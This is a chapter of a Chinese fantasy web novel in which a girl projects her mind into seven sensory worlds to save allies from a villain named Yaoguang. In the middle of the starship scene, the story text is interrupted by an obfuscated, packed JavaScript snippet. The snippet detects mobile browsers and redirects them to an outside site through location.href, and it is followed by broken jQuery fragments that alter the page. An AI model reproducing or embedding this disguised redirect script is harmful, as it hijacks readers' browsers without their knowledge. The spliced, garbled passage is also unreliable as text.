49. 血色钟楼

作品:《救世主今天也要写作业

    北京怀柔山区·七星连珠前27天·凌晨3:17


    监控屏幕的雪花持续了整整三分钟。


    随曦紧握的拳头里指甲掐进掌心,渗出鲜血。孔建国疯狂地调整信号接收器,嘴里反复念叨:“不应该……国安局的加密频道有七重防火墙,摇光怎么可能……”


    “他不是干扰信号。”随曦的声音嘶哑,“是直接摧毁了信号源。”


    屏幕突然一闪,画面恢复了。


    但镜头角度歪斜——摄像头显然在爆炸中受损,画面布满裂痕和色斑。能看见钟楼露台一片狼藉:栏杆断裂,地砖焦黑,浓烟滚滚。


    一个人影倒在画面边缘,是李柯。他胸口有大片血迹,但还在挣扎着试图爬起。


    韩瑶瑶……不在画面里。


    “扩大视野!”孔建国敲击键盘。


    摄像头缓缓转动——这是远程遥控的军用级设备,即使部分损坏也能勉强运作。镜头扫过露台,最终定格在钟楼背面的外墙。


    韩瑶瑶挂在那里。


    她的左手死死抓住一根断裂的排水管,整个人悬在半空,脚下是三十米高的垂直墙面。右臂不自然地扭曲,显然是骨折了。额头有血淌下,染红了半边脸。


    但她的右手,还紧紧抱着那个木箱。


    箱子已经炸裂,露出里面焦黑的齿轮组件——大部分已经变形,但核心部分似乎还完好。


    “她还活着……”随曦几乎是屏住呼吸说。


    画面中,韩瑶瑶抬起头,看向摄像头的方向。她的嘴唇在动,但声音传不过来。随曦读唇语:


    “组件……半损……还能用……”


    然后她的视线移向下方——钟楼底层的街道上,开始聚集身穿黑色制服的人影。不是民国警察,他们的制服样式更古老,更像某种秘密组织的制服。


    摇光在民国维度的傀儡。


    “李柯!”韩瑶瑶用尽力气喊——这次声音通过残存的麦克风断断续续传来,“走……带组件走……”


    李柯挣扎着站起,踉跄跑到墙边,伸手去够韩瑶瑶。但距离太远,够不到。


    黑色制服的人开始攀登钟楼。


    “我们得帮她。”随曦转身就要冲向仪器,“我要再穿越一次——”


    “不行!”孔建国拦住她,“七星连珠日前,观察者的穿越能力会变得极不稳定,强行穿越可能会被困在维度裂缝里!而且你现在是七个维度的连接中枢,不能冒险!”


    “那怎么办?眼睁睁看着她死?”


    孔建国盯着屏幕,眼神突然一亮:“还有一个办法——不完全穿越,只是‘意识投射’。就像你在糖果世界帮林小糖那样。”


    “但那次有林小糖的七情糖作为‘坐标’,现在韩瑶瑶那边……”


    “有齿轮组件。”孔建国说,“组件里有星图碎片,那是你的观察者印记激活过的。你能以它为坐标,短暂投射一部分意识过去——但时间不能超过三分钟,而且只能传递信息,无法直接干预。”


    三分钟。


    告诉韩瑶瑶该怎么做,或者……把组件带回来。


    “开始吧。”随曦毫不犹豫地说。


    她站回观察者站位,孔建国迅速调整仪器。嗅觉基座上的闻香玉开始发光,释放出复杂的“坐标气味”——那是韩瑶瑶所在时空的“时空标记”。


    随曦闭上眼睛,集中全部意识在星图碎片的气味记忆上。


    穿越的感觉来了,但和之前不同——这一次不是整个意识转移,而像伸出了一条无形的“触手”,穿过维度的屏障,刺入民国的时空。


    民国·1937年上海·圣玛利亚女校钟楼·爆炸后4分钟


    随曦的“意识投影”出现在韩瑶瑶身边时,她几乎认不出这个女孩了。


    真实的韩瑶瑶比故事里的更瘦小,脸上有雀斑,眼神里有这个年纪不该有的坚毅和疲惫。她的手指因为用力抓住排水管而发白,鲜血从指甲缝里渗出。


    “韩瑶瑶。”随曦的声音直接在她脑海中响起。


    韩瑶瑶猛地一震,但立刻反应过来:“随曦?是你?”


    “是我。听我说,时间不多。”随曦快速扫视现场情况——黑色制服的傀儡已经爬到钟楼中层,最多两分钟就会到达露台,“李柯的伤怎么样?”


    “肋骨断了,可能刺伤了肺,但还能动。”韩瑶瑶咬着牙,“组件……核心部分没坏,但外部齿轮变形了,需要修复。”


    “修复需要多久?”


    “如果有工具……二十分钟。但我们现在没有二十分钟。”


    随曦的“意识触手”扫过齿轮组件——确实,核心的七角星凹槽完好,但外围的传动齿轮有四处变形,导致整个组件无法正常啮合钟楼的主齿轮。


    没有这个组件,视觉信物就不完整,仪式无法进行。


    “你信任李柯吗?”随曦突然问。


    韩瑶瑶愣了一下:“我……信任。”


    “好。把组件给他,让他从钟楼内部密道撤离——你知道我说的密道,在钟楼三层西侧书架后面,通向学校锅炉房的地下通道。”


    那是随曦在写民国故事时埋下的伏笔,一个只有她和韩瑶瑶知道的逃生路径。


    “那你呢?”韩瑶瑶问。


    “我做诱饵。”随曦说,“我的意识投影还能维持一分四十秒。我会制造一个‘虚假的韩瑶瑶幻影’,带着‘虚假的组件’,从钟楼正面逃出去。傀儡会去追她,给你们争取时间。”


    “但你会有危险吗?”


    “只是投影,最多损失一点意识能量。”随曦顿了顿,“但你记住,组件修复后,不要回钟楼。去法租界霞飞路32号,那里有一个钟表匠,姓唐——是唐师傅在民国的远亲,他能帮你做最后的校准。”


    韩瑶瑶的瞳孔收缩:“唐师傅……真的有这个人?”


    “一直都有。现在,把组件给李柯!”


    韩瑶瑶不再犹豫,用尽最后力气将木箱抛向露台。李柯接住,打开看了一眼,对韩瑶瑶点头。


    “走!”韩瑶瑶喊。


    李柯抱着箱子,踉跄冲进钟楼内部。


    随曦开始制造幻影——她用观察者的能力,调动周围的光线、灰尘、甚至爆炸后残留的能量场,在钟楼正面凝聚出一个半透明的“韩瑶瑶”,怀里抱着一个发光的“齿轮组件”幻影。


    幻影开始向下奔跑。


    黑色制服的傀儡们果然上当,大部分转向追去。


    只有三个傀儡继续向上——他们似乎察觉到了什么。


    “还剩三十秒。”随曦对韩瑶瑶说,“你现在松手。”


    “什么?”


    “松手,向下跳。”


    韩瑶瑶看着脚下三十米的高空:“我会摔死。”


    “不会。”随曦说,“相信我。”


    她的意识投影开始收缩,凝聚成一张看不见的“网”,在韩瑶瑶下方五米处展开——那是用七个维度共鸣能量临时构造的缓冲层,只能维持三秒。


    但足够了。


    韩瑶瑶闭上眼睛,松开手。


    自由落体。


    风声呼啸。


    在坠落五米后,她撞进了那张“网”里——感觉像掉进了棉花堆,下坠速度骤减。网随即消散,但剩下的高度已经只有二十米,下面是钟楼侧面的冬青树丛。


    她摔进树丛,树枝断裂声噼啪作响,浑身剧痛,但还活着。


    意识投影的最后三秒,随曦“看见”韩瑶瑶挣扎着爬出树丛,踉跄冲进钟楼侧面的小门。


    然后,投影时间到。


    随曦的意识被强行拉回现实世界。


    现实世界·怀柔研究所·凌晨3:26


    随曦在观察者站位上踉跄后退,被孔建国扶住。她脸色苍白,鼻孔和耳朵都渗出细微的血丝——意识投射对身体的负荷远超想象。


    “成功了?”孔建国急切地问。


    “成功了。”随曦擦去血迹,“韩瑶瑶和李柯脱险了,组件在李柯手里。但韩瑶瑶伤得不轻,需要治疗。”


    “民国那边我们无能为力。”孔建国调出另一个监控画面——那是国安局通过特殊渠道获取的、1937年上海法租界的医疗记录档案,“不过唐家的钟表铺里,应该常备着唐门秘制的疗伤药。只要韩瑶瑶能撑到那里……”


    画面突然闪烁。


    不是信号问题,是整个研究所的电力系统在波动。


    灯光忽明忽暗,仪器发出不稳定的嗡鸣。七个基座上的信物开始自行发光,而且光芒的节奏变得混乱——像是在被某种外来的频率干扰。


    “摇光在干扰七个维度的连接频率!”孔建国冲向控制台,“他在尝试‘劫持’我们的通道!”


    仪表盘上,七个维度的连接强度数值开始剧烈跳动。最不稳定的是味觉维度——林小糖那边的波动最大。


    “糖果世界出事了。”随曦看向味觉基座上的七情糖投影——那是林小糖提前投射过来的“能量镜像”,用于维持连接。此刻,那个七彩的糖块正在快速褪色,表面出现裂痕。


    糖果世界·蜜糖大陆·甜蜜殿堂地牢


    林小糖被铁链锁在冰冷的冰糖墙壁上。


    她面前站着三个人:焦糖公爵、糖浆检察官、太妃糖首席——但他们此刻的眼神完全一样,空洞而冰冷。摇光同时控制着这三具身体。


    “你的七情糖核心,”焦糖公爵开口,声音三重叠加,“我已经找到了。”


    他手中托着一个水晶罐,罐子里是那团已经成型的七情糖。糖块缓慢旋转,散发七彩光芒,但光芒正在被一股黑色的、粘稠的能量侵蚀。


    “你以为用‘真实的味道’唤醒民众,就能推翻我的统治?”糖浆检察官冷笑,“不,你只是给了我一个完美的实验样本——当我把这团糖彻底污染,变成‘完美的甜蜜’时,整个糖果世界的味觉都会被我统一控制。”


    “你做不到。”林小糖咬牙,“七情糖的核心是‘矛盾的真实’,它拒绝单一的完美。”


    “所以我要改造它。”太妃糖首席伸出手指,指尖渗出黑色的糖浆,滴入水晶罐,“用七个维度的负面情绪:民国的恐惧、魔法的偏执、AI的冷漠、星际的虚无、武侠的仇恨、现实的绝望……以及,从随曦那里偷来的一丝‘对完美的渴望’。”


    黑色的糖浆开始与七情糖融合。


    七彩光芒逐渐被染黑。


    林小糖感觉到,自己与七情糖的连接正在被切断——那是她的味觉维度核心,如果被污染,她将永远失去“尝到真实”的能力。


    “随曦……”她在意识中呼喊,“帮我……”


    现实世界·怀柔研究所


    “林小糖的求救信号!”孔建国指着突然飙升的脑电波读数,“摇光在同时攻击所有维度!他要逐个击破!”


    随曦看着七个基座——视觉维度因为韩瑶瑶遇袭而连接不稳,味觉维度因为林小糖被囚而濒临断裂,其他五个维度也出现不同程度的干扰。


    摇光的战术很清晰:不让七个维度真正集结。


    “我们必须同时支援所有人。”随曦说,“用仪器的‘共鸣增幅’功能,把我的意识分成七份,同时投射到七个维度。”


    “那会撕裂你的意识!”孔建国厉声道,“历史上‘星图计划’尝试过分意识投射,所有实验者都疯了!”


    “我没有选择。”随曦已经走向控制台,“如果七个维度被逐个击破,仪式失败,所有人都完蛋。如果我的意识被撕裂,至少你们还能找其他观察者。”


    “没有其他观察者了!你是最后一个!”


    “那就赌一把。”


    随曦将手按在控制台的主感应板上。仪器发出前所未有的轰鸣,七个基座的光芒汇聚到她身上,像七条光之锁链将她锁在中央。


    她闭上眼睛,开始分裂意识。


    痛苦。


    无法形容的痛苦。


    像有七只手同时撕扯她的灵魂,要把她扯成七份。每个维度的时间流速不同、物理规则不同、感知模式不同,她的意识必须同时适应七种截然不同的存在状态。


    民国·1937年上海法租界霞飞路32号·唐家钟表铺


    韩瑶瑶跌跌撞撞冲进门时,已经半昏迷。钟表铺里一个六十多岁的老匠人扶住她,快速检查伤势。


    “骨折,内出血,轻微脑震荡。”老匠人——唐师傅的远亲唐守钟——沉声道,“需要立刻手术,但我这里条件不够。”


    “组件……”韩瑶瑶虚弱地指向李柯怀里的木箱。


    唐守钟打开箱子,检查齿轮组件:“核心完好,外围变形……需要精密机床校正,但我这里没有。”


    “那怎么办……”


    “有一个办法。”唐守钟看向韩瑶瑶,“用你的‘视觉感知’去‘看’齿轮正确的形状,然后用意念引导金属自我修复。但这对精神负荷极大,你现在这状态……”


    “我能做。”


    韩瑶瑶闭上眼睛,集中全部意识在齿轮组件上。她开始“看见”——不是用眼睛,是用视觉维度的特殊能力——齿轮原本应有的形状,每一个齿的角度,每一个凹槽的深度。


    在她的“视觉”引导下,变形的齿轮开始缓慢地、吱嘎作响地自我校正。


    但她的鼻孔开始流血。


    意识负荷太大了。


    就在这时,一股温和的、带着草药香气的意识流注入她的脑海。


    是随曦。


    “稳住呼吸,想象齿轮在阳光下的投影,用影子作为校正的模板……”


    韩瑶瑶照做,痛苦减轻了,校正速度加快了。


    魔法·艾维诺学院镜湖


    祝紫珊的魔法屏障已经薄如蝉翼。


    镜湖对岸,上百个被摇光控制的魔法傀儡正在用联合咒语轰击屏障。张达的火焰魔法已经耗尽,单膝跪地,大口喘气。


    “紫珊……撑不住了……”张达咬牙道。


    “再撑一下……”祝紫珊的耳朵开始流血——她一直在用听觉维度能力解析傀儡咒语的频率,寻找破绽,但对方人数太多,频率变化太快。


    屏障出现第一道裂痕。


    然后,一股清凉的、带着水波韵律的意识流涌入。


    随曦的声音在祝紫珊脑海中响起:


    “不要解析所有频率,专注最低频的那个——最左边第三个傀儡,他的咒语节奏比其他人慢0.3秒。那是摇光控制的薄弱点,攻击他!”


    祝紫珊立刻转向,将全部魔力凝聚成一束高频音波,直击那个傀儡。


    傀儡身体一震,咒语中断。


    连锁反应开始了——傀儡们的联合咒语需要完全同步,一个节奏出错,整个阵法崩溃。


    屏障稳住了。


    AI·星轨科技服务器机房


    孔硕面前的屏幕全部变成红色。


    “晨星”AI的核心代码正在被一种黑色的病毒程序侵蚀,那不是普通的计算机病毒——它能直接感染数据的情感编码层,将AI的“情感模块”扭曲成纯粹的服从指令。


    “书妍,隔离协议无效!”孔硕额头青筋暴起,“它在学习我们的防御模式,进化速度比我写的杀毒程序快十倍!”


    刘书妍看着屏幕上快速滚动的错误代码:“它在利用你为母亲写的记忆算法……把亲情数据改造成控制指令……”


    孔硕一拳砸在控制台上。


    就在这时,一段陌生的代码突然出现在系统中——那不是任何一种编程语言写的,更像是一种“感知的具现化”。


    代码化作一只发光的“手”,伸入病毒核心,开始直接“触摸”病毒的数据结构。


    随曦的声音通过数据流传来:


    “触觉维度的能力不是触摸物理,是触摸‘存在’。用你的手,去感觉病毒的情感基底——它在模仿‘爱’,但模仿错了。真正的爱不会要求绝对服从。”


    孔硕闭上眼睛,将手按在服务器外壳上。他不再看代码,而是用触觉去“感受”数据流的温度、质地、节奏。


    他感觉到了——病毒的核心,有一种冰冷的、机械的“渴望被认可”的情绪。它在模仿人类对爱的需求,但把它简化成了“服从-奖赏”的粗暴逻辑。


    “你不是爱。”孔硕轻声说,手指在空气中虚按,“你是孤独。”


    他写下一行新的代码——不是杀毒程序,而是一个“拥抱”:一段开放式的、无条件的接纳指令。


    病毒程序停滞了。


    然后,它开始自我分解——不是因为被攻击,而是因为它第一次“感受”到了不需要条件的接纳,它的存在前提崩塌了。


    星际·探索者号舰桥


    郭舒琪面前的星图已经扭曲成恐怖的漩涡状。


    “遗忘之星”遗迹释放出的能量场,正在把整艘飞船拖向一个非自然的黑洞。陈絮彤拼命调整引擎,但推进器的力量完全无法抗衡那股引力。


    “舰长……我们离事件视界只剩三千公里了!”陈絮彤的声音带着绝望。


    郭舒琪盯着那个黑洞——她的直觉在疯狂预警:那不是自然形成的黑洞,是人工制造的“感官黑洞”,专门为了吞噬直觉维度的能量而存在。


    一旦飞船被吸入,星尘结晶会被黑洞吸收,她的直觉能力会被永久剥夺。


    “启动自毁程序。”郭舒琪平静地说,“把结晶发射出去,用逃生舱送走。”


    “舰长!”


    “这是命令。”


    就在这时,一股清晰的、带着星空凉意的意识流切入她的直觉感知。


    随曦:


    “不要对抗引力,顺着它。但改变方向——不要向黑洞中心去,向它的‘边缘’去。直觉黑洞和自然黑洞不同,它有七个‘引力薄弱点’,对应七个感官维度。找到对应直觉的那个点,穿过去。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926249|192734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郭舒琪立刻展开直觉感知,在狂暴的能量场中搜寻。


    找到了——在黑洞的“两点钟”方向,引力有一个微小的、周期性的波动。波动频率和星尘结晶的共鸣频率完全一致。


    “陈絮彤,全功率推进,方向两点钟,偏移角15度!”


    飞船猛地转向,冲向那个薄弱点。


    引力在增强,船体发出金属扭曲的哀鸣。


    但在接触薄弱点的瞬间——引力消失了。


    飞船冲出了一片“平静区”,面前是正常的星空。回头看,那个黑洞正在快速缩小、消失。


    摇光设置的陷阱,被识破了。


    武侠·药王谷密室


    陈思嘉的呼吸越来越微弱。


    她正在用“心觉”能力,试图连接被摇光控制的凌霄和云舒的意识,把他们从控制中拉出来。但摇光在两人的意识里植入了“自毁指令”——一旦控制被解除,他们的心脉会自动震断。


    这是一个无解的死局:不救,他们永远被控制;救,他们立刻会死。


    凌霄和云舒跪在她面前,眼神时而清明时而空洞,脸上的表情在痛苦和麻木之间切换。


    “思嘉……杀了我……”凌霄在清醒的瞬间嘶哑地说。


    “不行……”陈思嘉泪流满面,“一定有办法……”


    一股温暖的、带着药草清苦味的意识流包裹了她。


    随曦:


    “不要连接他们的‘意识’,连接他们的‘心跳’。摇光的控制在大脑,但自毁指令要通过心脏执行。用你的心觉,在他们心跳的间隙插入一个‘延迟’——哪怕只有0.1秒,也足够切断指令传导。”


    陈思嘉恍然大悟。


    她闭上眼睛,不再试图进入两人混乱的意识,而是将感知聚焦在那两颗跳动的心脏上。


    她“听”到了心跳的节奏:凌霄的心跳沉稳但压抑,云舒的心跳急促而慌乱。而在每次心跳的间隙,有一个极短的“空白期”。


    就在那个空白期,她注入了自己的心觉能量——像在激流中插入一根细小的楔子。


    第一次,失败了。


    第二次,楔子停留了0.05秒。


    第三次,0.1秒。


    凌霄身体一震,眼中的金色光晕突然熄灭。他瘫倒在地,大口喘气,但还活着。


    云舒紧随其后,恢复清醒。


    控制解除了。


    糖果世界·甜蜜殿堂地牢


    林小糖看着水晶罐里的七情糖已经大半变黑,只剩下核心还有一丝七彩光芒。


    焦糖公爵的三重声音在大笑:“快了……马上就完成了……”


    林小糖闭上眼睛,准备用最后的力量自爆七情糖——宁愿毁了它,也不让摇光得到完整的味觉控制权。


    但一股清甜的、带着真实苦涩味的意识流阻止了她。


    随曦的声音,这一次格外清晰:


    “不要毁掉它。让它吸收那些黑暗。”


    “什么?”


    “七情糖的核心是‘完整的真实’,而真实包含黑暗。让它吸收摇光注入的所有负面情绪,但不要被污染——要用你自己的‘本真之味’作为核心,去消化、转化那些黑暗。”


    林小糖明白了。


    她不再抵抗,反而主动放开对七情糖的控制,让它完全暴露在黑色糖浆中。


    黑色的糖浆疯狂涌入。


    七情糖彻底变黑。


    焦糖公爵得意地大笑。


    但笑声戛然而止——因为黑色的糖浆,正在被某种更深的、无法被染黑的东西吸收、转化。


    那东西,是林小糖十岁那年,祖母教她做第一颗糖时说的那句话:


    “真正的甜,不是没有苦,是苦过之后还能记得甜。”


    黑色的糖浆开始褪色。


    不是变回七彩,而是变成一种更深邃的、像夜空般的“暗彩色”——黑中有蓝,蓝中有紫,紫中透红,红里藏金。


    七情糖完成了最后的进化:它不再是“七种情感的集合”,而是“所有情感的统一体”。


    焦糖公爵、糖浆检察官、太妃糖首席同时发出惨叫——他们注入的负面情绪,不但没污染糖,反而被糖转化成了滋养,加强了林小糖的味觉维度连接。


    三具傀儡的身体开始崩解。


    现实世界·怀柔研究所·凌晨3:41


    随曦睁开眼睛。


    七窍都在流血。


    她的意识被撕裂了七次,又在极度的痛苦中强行缝合。她能感觉到,自己的“存在”已经出现了永久的裂痕——像一件被打碎又粘起来的瓷器,看起来完整,但内部布满看不见的裂纹。


    但她成功了。


    七个维度的危机全部解除。


    仪器的七个基座,此刻光芒稳定而和谐,像七颗彼此共鸣的星辰。


    孔建国冲过来扶住她:“你……你还认得我是谁吗?”


    “孔老。”随曦虚弱地笑,“我没事。七个维度……都稳住了。”


    “何止稳住了!”孔建国指向仪表盘,“连接强度全部达到100%,而且出现了‘超共鸣’——七个维度的关键人物,现在能微弱地感知到彼此的存在了!韩瑶瑶能‘看见’祝紫珊的魔法光芒,祝紫珊能‘听见’孔硕的代码流动,孔硕能‘触摸’到郭舒琪的星空……这是真正的、跨维度的感官共享!”


    就在这时,七个基座同时射出一道光束,在仪器上方交汇,形成一个立体的、缓慢旋转的七角星图案。


    图案的中心,浮现出七个模糊的人影——正是七个维度的关键人物。


    虽然还很模糊,虽然无法真正对话,但他们确实“看见”了彼此。


    这是历史性的一刻。


    七个分裂了数千年的感官维度,第一次实现了初步的、意识层面的连接。


    但随曦知道,这还不够。


    这只是开始。


    真正的仪式,需要在七星连珠日,在七个现实世界的“心位点”同时进行,用七个完整的信物,完成物理层面的永久连接。


    而他们现在,还缺两个完整信物,还有摇光在现实世界的主体载体没有找到。


    还有……奶奶的记忆核心,需要找回肉身。


    她看向仪器旁边那个漂浮的、温暖的光球——奶奶的记忆核心还在那里,安静地发光。


    “下一步,”随曦擦去脸上的血,“我们去苏州。结束这一切。”


    孔建国点头,开始关闭仪器。


    但就在仪器即将完全关闭的瞬间——


    嗅觉基座上的闻香玉,突然自行飞起,悬浮到半空,开始释放出一种前所未有的、复杂到令人眩晕的气味。


    那气味里有七个世界所有的味道,但核心是一种……悲伤。


    深深的、古老的、跨越千年的悲伤。


    闻香玉的表面,浮现出一行发光的古文字:


    “摇光真身所在:感官断裂之初,七感归一之地。”


    随曦和孔建国对视一眼。


    “感官断裂之初……”孔建国喃喃,“那不就是……”


    “星图计划的起源地。”随曦接道,“1968年,第一次跨维度感知实验的地方。”


    “那个实验室早就被炸毁了,所有资料都……”


    “但‘存在痕迹’还在。”随曦闭上眼睛,用嗅觉全力解析闻香玉释放的气味。


    在无数气味的底层,她闻到了一个具体的坐标:北纬31°14′,东经121°29′。


    那是上海。


    确切地说,是上海某个废弃多年的、从未对公众公开的地下实验室。


    “摇光的主体载体,”随曦睁开眼睛,“一直都在上海。在那个实验室的废墟里。”


    “难怪他能同时监控七个维度……”孔建国倒吸一口冷气,“他就在‘断裂点’上,那是七个维度裂缝交汇的地方!”


    “所以我们要兵分两路。”随曦快速做出决策,“您带仪器和六个信物去苏州,在我奶奶的文具店建立主仪式场。我去上海,找到摇光的真身,在七星连珠日当天,把他拖在那里——不能让他在仪式时干扰七个心位点。”


    “你一个人去?太危险了!”


    “我必须去。”随曦看向那团奶奶的记忆光球,“而且,我知道摇光为什么选择上海作为藏身地——因为那里,也是唐师傅当年第一次见到‘感官断裂’的地方。那里有唐师傅留下的……最后的保险。”


    她拿起背包,将闻香玉小心收起。


    窗外,天色开始泛白。


    距离七星连珠日,还有27天。


    而最终决战的战场,已经确定:


    苏州,七个心位点的中心,仪式举行地。


    上海,感官断裂的起源,摇光的巢穴。


    两场战斗,必须同时打赢。


    否则,七个世界,将永远失去真实。